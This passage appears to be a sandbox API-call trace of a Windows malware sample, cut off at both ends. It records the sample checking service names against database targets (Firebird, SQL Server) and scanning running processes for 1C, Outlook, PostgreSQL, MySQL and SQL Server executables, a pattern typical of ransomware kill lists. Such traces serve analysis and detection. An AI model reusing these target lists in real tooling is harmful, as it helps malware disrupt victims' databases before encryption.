lpString2="netprofm") returned 1 [0056.698] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0056.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0056.699] lstrlenW (lpString="NlaSvc") returned 6 [0056.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0056.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0056.700] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0056.700] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0056.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0056.701] lstrlenW (lpString="nsi") returned 3 [0056.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0056.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0056.702] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0056.703] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0056.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0056.704] lstrlenW (lpString="PcaSvc") returned 6 [0056.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0056.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0056.707] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0056.707] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0056.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0056.708] lstrlenW (lpString="PlugPlay") returned 8 [0056.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0056.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0056.711] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0056.711] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0056.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0056.712] lstrlenW (lpString="Power") returned 5 [0056.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0056.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0056.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0056.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0056.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0056.714] lstrlenW (lpString="ProfSvc") returned 7 [0056.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0056.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0056.715] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0056.717] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0056.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0056.718] lstrlenW (lpString="RpcEptMapper") returned 12 [0056.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.749] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0056.749] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0056.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0056.749] lstrlenW (lpString="RpcSs") returned 5 [0056.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0056.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0056.749] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0056.749] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0056.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0056.751] lstrlenW (lpString="SamSs") returned 5 [0056.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0056.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0056.751] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0056.752] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0056.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0056.752] lstrlenW (lpString="Schedule") returned 8 [0056.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0056.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0056.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0056.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0056.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0056.755] lstrlenW (lpString="SENS") returned 4 [0056.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0056.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0056.755] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0056.755] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0056.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0056.756] lstrlenW (lpString="ShellHWDetection") returned 16 [0056.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.756] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0056.756] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0056.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0056.756] lstrlenW (lpString="Spooler") returned 7 [0056.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0056.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0056.757] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0056.757] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0056.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0056.758] lstrlenW (lpString="swprv") returned 5 [0056.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0056.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0056.758] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0056.758] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0056.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0056.759] lstrlenW (lpString="SysMain") returned 7 [0056.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0056.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0056.759] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0056.759] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0056.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0056.760] lstrlenW (lpString="Themes") returned 6 [0056.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0056.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0056.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0056.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0056.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0056.760] lstrlenW (lpString="TrkWks") returned 6 [0056.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0056.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0056.762] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0056.764] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0056.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0056.766] lstrlenW (lpString="UxSms") returned 5 [0056.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0056.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0056.768] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0056.768] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0056.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0056.768] lstrlenW (lpString="VSS") returned 3 [0056.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0056.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0056.772] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0056.798] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0056.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0057.052] lstrlenW (lpString="WdiServiceHost") returned 14 [0057.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.052] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0057.052] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0057.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0057.052] lstrlenW (lpString="WdiSystemHost") returned 13 [0057.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.052] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0057.052] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0057.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0057.052] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0057.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.052] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0057.052] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0057.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0057.052] lstrlenW (lpString="Winmgmt") returned 7 [0057.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0057.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0057.052] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0057.052] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0057.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0057.052] lstrlenW (lpString="WPDBusEnum") returned 10 [0057.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.052] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0057.052] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0057.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0057.052] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f30020 | out: hHeap=0x790000) returned 1 [0057.053] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x410 [0057.057] Process32FirstW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.057] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0057.057] lstrlenW (lpString="System") returned 6 [0057.057] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0057.057] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0057.057] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0057.057] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0057.057] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0057.058] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0057.058] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0057.058] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0057.058] lstrlenW (lpString="smss.exe") returned 8 [0057.058] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0057.058] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0057.058] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0057.058] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0057.058] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0057.058] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0057.058] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0057.058] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.058] lstrlenW (lpString="csrss.exe") returned 9 [0057.058] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0057.058] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0057.058] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0057.058] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0057.058] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0057.058] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0057.059] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0057.059] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0057.059] lstrlenW (lpString="wininit.exe") returned 11 [0057.059] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0057.059] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0057.059] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0057.059] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.059] lstrlenW (lpString="csrss.exe") returned 9 [0057.059] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0057.060] lstrlenW (lpString="winlogon.exe") returned 12 [0057.060] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0057.116] lstrlenW (lpString="services.exe") returned 12 [0057.116] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0057.116] lstrlenW (lpString="lsass.exe") returned 9 [0057.116] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0057.116] lstrlenW (lpString="lsm.exe") returned 7 [0057.116] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.117] lstrlenW (lpString="svchost.exe") returned 11 [0057.117] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.117] lstrlenW (lpString="svchost.exe") returned 11 [0057.117] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.117] lstrlenW (lpString="svchost.exe") returned 11 [0057.117] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.117] lstrlenW (lpString="svchost.exe") returned 11 [0057.117] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.118] lstrlenW (lpString="svchost.exe") returned 11 [0057.118] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0057.118] lstrlenW (lpString="audiodg.exe") returned 11 [0057.118] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.118] lstrlenW (lpString="svchost.exe") returned 11 [0057.118] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.119] lstrlenW (lpString="svchost.exe") returned 11 [0057.119] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0057.119] lstrlenW (lpString="dwm.exe") returned 7 [0057.119] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0057.119] lstrlenW (lpString="explorer.exe") returned 12 [0057.119] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0057.120] lstrlenW (lpString="spoolsv.exe") returned 11 [0057.120] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.120] lstrlenW (lpString="taskhost.exe") returned 12 [0057.120] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.120] lstrlenW (lpString="svchost.exe") returned 11 [0057.120] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0057.120] lstrlenW (lpString="taskeng.exe") returned 11 [0057.120] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.121] lstrlenW (lpString="taskhost.exe") returned 12 [0057.121] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0057.121] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0057.121] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0057.121] lstrlenW (lpString="noticed.exe") returned 11 [0057.121] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0057.122] lstrlenW (lpString="uploaded.exe") returned 12 [0057.122] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0057.122] lstrlenW (lpString="hardware.exe") returned 12 [0057.122] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0057.122] lstrlenW (lpString="oracle.exe") returned 10 [0057.122] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0057.123] lstrlenW (lpString="creativity.exe") returned 14 [0057.123] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0057.123] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0057.123] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0057.123] lstrlenW (lpString="edited.exe") returned 10 [0057.123] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0057.123] lstrlenW (lpString="custody.exe") returned 11 [0057.123] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0057.124] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0057.124] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: 